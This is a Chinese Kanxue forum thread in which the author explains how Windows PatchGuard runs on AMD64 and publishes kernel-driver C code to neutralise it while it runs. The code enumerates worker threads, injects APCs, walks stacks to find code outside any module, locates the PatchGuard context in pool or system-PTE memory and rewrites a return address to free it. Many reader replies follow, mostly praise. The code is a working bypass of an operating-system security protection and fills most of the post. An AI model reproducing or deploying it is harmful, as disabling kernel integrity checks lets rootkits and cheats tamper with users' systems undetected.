首页
论坛
课程
招聘
雪    币: 6067
活跃值: 活跃值 (32)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝

攻破 Window AMD64 平台的 PatchGuard - 清除执行中的 PatchGuard

2019-5-27 16:47 7874

攻破 Window AMD64 平台的 PatchGuard - 清除执行中的 PatchGuard

2019-5-27 16:47
7874
最近微软更新了 1903 忙着更新了一下代码, 顺便把文章补全, 主要是解释一下如何检测的.

当 PatchGuad 处于执行状态时, 首先解密头部的CmpAppendDllSection, 然后在 CmpAppendDllSection内部完整解密整个Context, 进入PatchGuardEntryPointer, 替换IDT, 关闭DR中断, 自检, 插入WORKER(自捡成功的话), 清空栈, 进入FsRtlUninitializeSmallMcb, 这里FsRtlUninitializeSmallMcb 就是 PatchGuad 的执行主逻辑, 在这个逻辑中大部分时间 PatchGuad 都是处于延时状态以减少CPU 占用.


攻击逻辑首先是枚举当前的 WORKER 线程, 我使用的方法是把自己先插入到 WORKER, 然后通过对比入口点来 判断 WORKER 线程,  然后每个 WORKER 线程插入一个特殊模式的Apc(保存现场->检测逻辑),
VOID
NTAPI
PgCheckAllWorkerThread(
    __inout PPGBLOCK PgBlock
)
{
    NTSTATUS Status = STATUS_SUCCESS;
    PSYSTEM_PROCESS_INFORMATION ProcessInfo = NULL;
    PSYSTEM_EXTENDED_THREAD_INFORMATION ThreadInfo = NULL;
    PVOID Buffer = NULL;
    ULONG BufferSize = PAGE_SIZE;
    ULONG ReturnLength = 0;
    ULONG Index = 0;
    PULONG64 InitialStack = 0;
    DISPATCHER_HEADER * Header = NULL;

    /*
    if (os build >= 9600){
        PgBlock->WorkerContext = struct _DISPATCHER_HEADER

            Header->Type = 0x15
            Header->Hand = 0xac
    }
    else {
        PgBlock->WorkerContext = enum _WORK_QUEUE_TYPE

            CriticalWorkQueue = 0
            DelayedWorkQueue = 1
    }
    */

    InitialStack = IoGetInitialStack();

    if (GetGpBlock(PgBlock)->BuildNumber >= 9600) {
        while ((ULONG64)InitialStack != (ULONG64)&PgBlock) {
            Header = *(PVOID *)InitialStack;

            if (FALSE != MmIsAddressValid(Header)) {
                if (FALSE != MmIsAddressValid((PCHAR)(Header + 1) - 1)) {
                    if (0x15 == Header->Type &&
                        0xac == Header->Hand) {
                        PgBlock->WorkerContext = Header;

                        break;
                    }
                }
            }

            InitialStack--;
        }
    }
    else {
        PgBlock->WorkerContext = UlongToPtr(CriticalWorkQueue);
    }

retry:
    Buffer = ExAllocatePool(
        NonPagedPool,
        BufferSize);

    if (NULL != Buffer) {
        RtlZeroMemory(
            Buffer,
            BufferSize);

        Status = ZwQuerySystemInformation(
            SystemExtendedProcessInformation,
            Buffer,
            BufferSize,
            &ReturnLength);

        if (NT_SUCCESS(Status)) {
            ProcessInfo = (PSYSTEM_PROCESS_INFORMATION)Buffer;

            while (TRUE) {
                if (PsGetCurrentProcessId() == ProcessInfo->UniqueProcessId) {
                    ThreadInfo = (PSYSTEM_EXTENDED_THREAD_INFORMATION)
                        (ProcessInfo + 1);

                    if (NULL == PgBlock->ExpWorkerThread) {
                        for (Index = 0;
                            Index < ProcessInfo->NumberOfThreads;
                            Index++) {
                            if ((ULONG64)PsGetCurrentThreadId() ==
                                (ULONG64)ThreadInfo[Index].ThreadInfo.ClientId.UniqueThread) {
                                PgBlock->ExpWorkerThread = ThreadInfo[Index].Win32StartAddress;

                                break;
                            }
                        }
                    }

                    if (NULL != PgBlock->ExpWorkerThread) {
                        for (Index = 0;
                            Index < ProcessInfo->NumberOfThreads;
                            Index++) {
                            if ((ULONG64)PsGetCurrentThreadId() !=
                                (ULONG64)ThreadInfo[Index].ThreadInfo.ClientId.UniqueThread &&
                                (ULONG64)PgBlock->ExpWorkerThread ==
                                (ULONG64)ThreadInfo[Index].Win32StartAddress) {
                                AsyncCall(
                                    ThreadInfo[Index].ThreadInfo.ClientId.UniqueThread,
                                    NULL,
                                    NULL,
                                    (PUSER_THREAD_START_ROUTINE)PgCheckWorkerThread,
                                    PgBlock);
                            }
                        }
                    }

                    break;
                }

                if (0 == ProcessInfo->NextEntryOffset) {
                    break;
                }
                else {
                    ProcessInfo = (PSYSTEM_PROCESS_INFORMATION)
                        ((PCHAR)ProcessInfo + ProcessInfo->NextEntryOffset);
                }
            }
        }

        ExFreePool(Buffer);
        Buffer = NULL;

        if (STATUS_INFO_LENGTH_MISMATCH == Status) {
            BufferSize = ReturnLength;
            goto retry;
        }
    }
}

Apc的逻辑主要是栈回溯, 当回溯到无模块的返回点时就会停止回溯, 通过最后一个回溯点是不是NULL来判断是不是要检测的线程,当然这里可能存在无模块的其他驱动(比如某P), 先通过BigPool 和 SystemPtes 搜索出内存块的大小,  这里不得不吐槽一下 RtlFindSetBits 有坑,
VOID
NTAPI
PgLocatePoolObject(
    __inout PPGBLOCK PgBlock,
    __in PPGOBJECT Object
)
{
    PFN_NUMBER Index = 0;
    PVOID Establisher = NULL;

    GetCounterBody(&Object->Establisher, &Establisher);

    for (Index = 0;
        Index < PgBlock->PoolBigPageTableSize;
        Index++) {
        if (POOL_BIG_TABLE_ENTRY_FREE !=
            ((ULONG64)PgBlock->PoolBigPageTable[Index].Va & POOL_BIG_TABLE_ENTRY_FREE)) {
            if (NonPagedPool == PgBlock->MmDeterminePoolType(PgBlock->PoolBigPageTable[Index].Va)) {
                if (PgBlock->PoolBigPageTable[Index].NumberOfPages > PgBlock->SizeINITKDBG) {
                    if ((ULONG64)Establisher >= (ULONG64)PgBlock->PoolBigPageTable[Index].Va &&
                        (ULONG64)Establisher < (ULONG64)PgBlock->PoolBigPageTable[Index].Va +
                        PgBlock->PoolBigPageTable[Index].NumberOfPages) {
                        Object->BaseAddress = PgBlock->PoolBigPageTable[Index].Va;
                        Object->RegionSize = PgBlock->PoolBigPageTable[Index].NumberOfPages;

#ifndef PUBLIC
                        DbgPrint(
                            "[Sefirot] [PatchGuard] < %p > found region in pool < %p - %08x >\n",
                            Establisher,
                            Object->BaseAddress,
                            Object->RegionSize);
#endif // !PUBLIC

                        Object->Type = PgPoolBigPage;

                        break;
                    }
                }
            }
        }
    }
}

VOID
NTAPI
PgLocateSystemPtesObject(
    __inout PPGBLOCK PgBlock,
    __in PPGOBJECT Object
)
{
    PRTL_BITMAP BitMap = NULL;
    ULONG BitMapSize = 0;
    PFN_NUMBER NumberOfPtes = 0;
    ULONG HintIndex = 0;
    ULONG StartingRunIndex = 0;
    PVOID Establisher = NULL;

    NumberOfPtes = PgBlock->NumberOfPtes;

    GetCounterBody(&Object->Establisher, &Establisher);

    BitMapSize =
        sizeof(RTL_BITMAP) +
        (ULONG)((((NumberOfPtes + 1) + 31) / 32) * 4);

    BitMap = ExAllocatePool(NonPagedPool, BitMapSize);

    if (NULL != BitMap) {
        RtlInitializeBitMap(
            BitMap,
            (PULONG)(BitMap + 1),
            (ULONG)(NumberOfPtes + 1));

        RtlClearAllBits(BitMap);

        InitializeSystemPtesBitMap(
            PgBlock->BasePte,
            NumberOfPtes,
            BitMap);

        do {
            HintIndex = RtlFindSetBits(
                BitMap,
                1,
                HintIndex);

            if (MAXULONG != HintIndex) {
                RtlFindNextForwardRunClear(
                    BitMap,
                    HintIndex,
                    &StartingRunIndex);

                RtlClearBits(BitMap, HintIndex, StartingRunIndex - HintIndex);

                if ((ULONG64)Establisher >=
                    (ULONG64)GetVirtualAddressMappedByPte(
                        PgBlock->BasePte + HintIndex) &&
                        (ULONG64)Establisher <
                    (ULONG64)GetVirtualAddressMappedByPte(
                        PgBlock->BasePte + StartingRunIndex) - PgBlock->SizeCmpAppendDllSection) {
                    Object->BaseAddress =
                        GetVirtualAddressMappedByPte(PgBlock->BasePte + HintIndex);

                    Object->RegionSize =
                        (SIZE_T)(StartingRunIndex - HintIndex) * PAGE_SIZE;

#ifndef PUBLIC
                    DbgPrint(
                        "[Sefirot] [PatchGuard] < %p > found region in system ptes < %p - %08x >\n",
                        Establisher,
                        Object->BaseAddress,
                        Object->RegionSize);
#endif // !PUBLIC

                    Object->Type = PgSystemPtes;

                    break;
                }

                HintIndex = StartingRunIndex;
            }
        } while (HintIndex < NumberOfPtes);

        ExFreePool(BitMap);
    }
}

VOID
NTAPI
PgLocateObject(
    __inout PPGBLOCK PgBlock,
    __out PPGOBJECT Object
)
{
    IpiSingleCall(
        (PPS_APC_ROUTINE)NULL,
        (PKSYSTEM_ROUTINE)PgLocatePoolObject,
        (PUSER_THREAD_START_ROUTINE)PgBlock,
        (PVOID)Object);

    if (-1 == Object->Type) {
        IpiSingleCall(
            (PPS_APC_ROUTINE)NULL,
            (PKSYSTEM_ROUTINE)PgLocateSystemPtesObject,
            (PUSER_THREAD_START_ROUTINE)PgBlock,
            (PVOID)Object);
    }
}

然后在内存块搜索 SdbpCheckDll 的代码来判断是不是 PatchGuad 执行逻辑, 如果是释放掉内存->重启 WORKER , 不是则恢复运行环境. 为了便于管理, 这里使用了对象的设计方法. 每个检测到的CONTEXT 分配一个对象.

VOID
NTAPI
PgCheckWorkerThread(
    __inout PPGBLOCK PgBlock
)
{
    ULONG64 LowLimit = 0;
    ULONG64 HighLimit = 0;
    PULONG64 InitialStack = 0;
    PULONG64 TargetPc = NULL;
    ULONG Count = 0;
    PCALLERS Callers = NULL;
    ULONG Index = 0;
    LONG_PTR Reference = 0;
    PVOID * Parameters = NULL;
    PGOBJECT TempObject = { 0 };
    PPGOBJECT Object = NULL;

    Callers = ExAllocatePool(
        NonPagedPool,
        MAX_STACK_DEPTH * sizeof(CALLERS));

    if (NULL != Callers) {
        Count = WalkFrameChain(
            Callers,
            MAX_STACK_DEPTH);

        if (0 != Count) {
            // PrintFrameChain(Callers, 0, Count);

            IoGetStackLimits(&LowLimit, &HighLimit);

            InitialStack = IoGetInitialStack();

            // all worker thread start at KiStartSystemThread and return address == 0
            // if null != last return address code is in noimage

            if (NULL != Callers[Count - 1].Establisher) {
#ifndef PUBLIC
                DbgPrint(
                    "[Sefirot] [PatchGuard] < %p > found noimage return address in worker thread\n",
                    Callers[Count - 1].Establisher);
#endif // !PUBLIC

                for (TargetPc = (PULONG64)Callers[Count - 1].EstablisherFrame;
                    (ULONG64)TargetPc < (ULONG64)InitialStack;
                    TargetPc++) {
                    // In most cases, PatchGuard code will wait for a random time.
                    // set return address in current thread stack to _RevertWorkerToSelf
                    // than PatchGuard code was not continue

                    if ((ULONG64)*TargetPc == (ULONG64)Callers[Count - 1].Establisher) {
                        // restart ExpWorkerThread

                        // ExFrame->P1Home = WorkerContext;
                        // ExFrame->P2Home = ExpWorkerThread;
                        // ExFrame->P3Home = PspSystemThreadStartup;
                        // ExFrame->Return = KiStartSystemThread; <- jmp this function return address == 0

                        SetCounterBody(
                            &TempObject.Establisher,
                            Callers[Count - 1].Establisher);

                        TempObject.Type = -1;

                        PgLocateObject(PgBlock, &TempObject);

                        if (-1 != TempObject.Type) {
                            Object = PgCreateObject(
                                PgDeclassified,
                                TempObject.Type,
                                TempObject.BaseAddress,
                                TempObject.RegionSize,
                                NULL,
                                PgBlock,
                                PgBlock->ClearCallback,
                                Callers[Count - 1].Establisher,
                                GetGpBlock(PgBlock)->CaptureContext);

                            if (NULL != Object) {
                                SetCounterBody(
                                    &Object->Establisher,
                                    Callers[Count - 1].Establisher);

                                *TargetPc = (ULONG64)&Object->Establisher;

                                InterlockedIncrementSizeT(&PgBlock->ReferenceCount);

#ifndef PUBLIC
                                DbgPrint(
                                    "[Sefirot] [PatchGuard] < %p > insert worker thread check code\n",
                                    PgBlock->ReferenceCount);
#endif // !PUBLIC
                            }
                        }

                        break;
                    }
                }
            }
        }

        ExFreePool(Callers);
    }
}


源码 : Shark


[看雪官方培训]《安卓高级研修班(网课)》9月班开始招生!挑战极限、工资翻倍!

最后于 2019-6-1 15:15 被小艾编辑 ,原因:
打赏 + 12.00
打赏次数 2 金额 + 12.00
 
赞赏  Editor   +2.00 2019/05/31 精品文章~
赞赏  万剑归宗   +10.00 2019/05/28
最新回复 (47)
雪    币: 6249
活跃值: 活跃值 (29)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
二娃 活跃值 2019-5-27 16:49
2
1
飞总牛逼
雪    币: 10635
活跃值: 活跃值 (37)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
Sprite雪碧 活跃值 1 2019-5-27 17:09
3
0
支持飞总
雪    币: 580
活跃值: 活跃值 (10)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
hkfans 活跃值 3 2019-5-27 17:14
4
0
牛逼,赶紧收藏
雪    币: 3721
活跃值: 活跃值 (21)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
Buu 活跃值 1 2019-5-27 17:36
5
0
牛逼
雪    币: 1126
活跃值: 活跃值 (58)
能力值: ( LV12,RANK:380 )
在线值:
发帖
回帖
粉丝
Tennn 活跃值 5 2019-5-27 17:42
6
0
支持支持
雪    币: 1133
活跃值: 活跃值 (21)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
大只狼 活跃值 2019-5-27 18:29
7
0
除了牛逼,无法形容
雪    币: 5596
活跃值: 活跃值 (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Foodie 活跃值 2019-5-27 18:41
8
0
飞总牛逼
雪    币: 4342
活跃值: 活跃值 (21)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
TopC 活跃值 2019-5-27 19:05
9
0
感谢分享
雪    币: 188
活跃值: 活跃值 (30)
能力值: ( LV2,RANK:50 )
在线值:
发帖
回帖
粉丝
fengyunabc 活跃值 1 2019-5-27 23:21
10
0
感谢分享!
雪    币: 1722
活跃值: 活跃值 (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
厌倦 活跃值 2019-5-27 23:54
11
0
牛逼+1
雪    币: 285
活跃值: 活跃值 (45)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yy虫子yy 活跃值 2019-5-28 00:41
12
0
谢谢分享
雪    币: 1133
活跃值: 活跃值 (21)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
大只狼 活跃值 2019-5-28 14:49
13
0
握草,一天了还没有精华?这帖子还比不上复制粘贴?
雪    币: 3429
活跃值: 活跃值 (26)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
_重黎 活跃值 2019-5-28 15:54
14
0
飞总牛逼.这才是真心的精华内容.不过飞总的帖子没有一个精华...
雪    币: 2271
活跃值: 活跃值 (23)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
FANTASYING 活跃值 2019-5-28 16:42
15
0
看雪的精华帖只给xxx培训的吗
雪    币: 3436
活跃值: 活跃值 (41)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
如斯咩咩咩 活跃值 2019-5-28 16:42
16
0
感谢分享!
雪    币: 8558
活跃值: 活跃值 (468)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
hzqst 活跃值 3 2019-5-28 16:44
17
0
一键点赞素质三连
雪    币: 6870
活跃值: 活跃值 (32)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
万剑归宗 活跃值 1 2019-5-28 16:44
18
0
看雪的精华帖只给xxx培训的吗
雪    币: 1233
活跃值: 活跃值 (18)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
dx苹果的心愿 活跃值 1 2019-5-28 16:45
19
0
飞总牛逼
雪    币: 184
活跃值: 活跃值 (86)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
萌克力 活跃值 2019-5-28 16:46
20
0
飞总牛批
雪    币: 217
活跃值: 活跃值 (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
库尔 活跃值 2019-5-28 16:46
21
0
飞总牛逼
雪    币: 184
活跃值: 活跃值 (86)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
萌克力 活跃值 2019-5-28 16:48
22
0
Sprite雪碧 支持飞总
你家特别肥
雪    币: 337
活跃值: 活跃值 (22)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
sxpp 活跃值 1 2019-5-28 16:50
23
0
飞总牛逼
雪    币: 5273
活跃值: 活跃值 (57)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
黑洛 活跃值 1 2019-5-28 17:26
24
0
飞总牛逼
雪    币: 7
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zxcvb_217307 活跃值 2019-5-28 17:53
25
0
把自已的工作成果完整地提供下载,予后来人学习和使用,这是大师的风格和风范。大师辈出,最后都成了一座座丰碑。段纲,Tesla.Angela,小艾。。。。
雪    币: 2271
活跃值: 活跃值 (39)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zhatian 活跃值 2019-5-28 18:10
26
0
飞总牛逼
雪    币: 10635
活跃值: 活跃值 (37)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
Sprite雪碧 活跃值 1 2019-5-28 20:19
27
0
萌克力 你家特别肥
大佬啥意思?
雪    币: 393
活跃值: 活跃值 (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
qdjytony 活跃值 2019-5-28 23:04
28
0
飞总牛逼
雪    币: 466
活跃值: 活跃值 (71)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
囧囧 活跃值 2019-5-29 10:02
29
0
Shark
Shark
雪    币: 46
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
MaMy 活跃值 2019-5-29 10:10
30
0
飞总牛逼 
雪    币: 3280
活跃值: 活跃值 (21)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
provence 活跃值 2019-5-29 12:29
31
0
飞总牛逼
雪    币: 76
活跃值: 活跃值 (36)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kongfubull 活跃值 2019-5-29 22:23
32
0
必须mark下,以后深入学习
雪    币: 21
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
windxiang 活跃值 2019-5-30 09:17
33
0
感谢分享!
雪    币: 398
活跃值: 活跃值 (20)
能力值: ( LV4,RANK:140 )
在线值:
发帖
回帖
粉丝
又出bug了 活跃值 2 2019-5-30 10:51
34
0
牛逼
雪    币: 498
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
spreadfame 活跃值 2019-5-30 11:42
35
0
真的是好文

感谢分享
雪    币: 4225
活跃值: 活跃值 (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
gaoan 活跃值 2019-5-30 15:21
36
0
只恨只能点赞一次
雪    币: 40
活跃值: 活跃值 (26)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
killpy 活跃值 2 2019-5-30 17:02
37
0
赶着上厕所 大概原理 撸了一边 不对的地方别笑 就是 遍历 线程 每个线程一个apc  完后栈回朔 找到未知模块的(ps线程一般返回地址=NULL) 完后开始通过线程上下文栈侦 保存的信息 找到调用检测函数的地方 完后给他吧栈侦信息修改掉 让他直接调用清除回调 从新一个ps线程开始 back to 1942?
最后于 2019-5-30 17:03 被killpy编辑 ,原因: 不完美
雪    币: 211
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
在加莱上岸 活跃值 2019-5-30 17:47
38
0
是的,好贴子呢,来顶!!
雪    币: 22
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Archar 活跃值 2019-5-30 18:47
39
0
雪    币: 6067
活跃值: 活跃值 (32)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
小艾 活跃值 1 2019-5-30 18:56
40
0
killpy 赶着上厕所 大概原理&nbsp;撸了一边 不对的地方别笑 就是&nbsp;遍历&nbsp;线程&nbsp;每个线程一个apc&nbsp;&nbsp;完后 ...
Callback 里搜索的的是 SdbpCheckDll 代码 匹配即是PG的运行时(确定无模块->确定内存块->确定是PGCONTEXT->干) 不创建新线程 使用原线程直接重新跑线程入口( ExpWorkerThread ) 顺便说一句新线程可能会遇到各种问题
最后于 2019-6-1 15:13 被小艾编辑 ,原因:
雪    币: 4717
活跃值: 活跃值 (914)
能力值: (RANK:40 )
在线值:
发帖
回帖
粉丝
Editor 活跃值 2019-5-31 09:55
41
0
感谢分享~
雪    币: 176
活跃值: 活跃值 (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xxRea 活跃值 2019-6-5 20:31
42
0
感谢分享~
雪    币: 18
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
邪恶军八进制 活跃值 2019-6-8 10:28
43
0
飞总加不上你Q 十万火急在线等,收到消息加我Q 513492512
雪    币: 51
活跃值: 活跃值 (61)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tmflxw 活跃值 2019-10-3 22:18
44
0
有没老兄试过,1903能干掉吗?
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_phyjrmwy 活跃值 2019-12-3 20:38
45
0
楼主,厉害,私信个联系方式呗。
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
git_22303omgkaka 活跃值 2019-12-11 13:28
46
0
mark
雪    币: 332
活跃值: 活跃值 (11)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
SevenSir 活跃值 1 2019-12-11 14:14
47
0
FANTASYING 看雪的精华帖只给xxx培训的吗
是啊,不服气吗?
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
48
0
飞总这是在挑战编译器,,windows.h就算了,.net都搬进去了,牛逼
游客
登录 | 注册 方可回帖
返回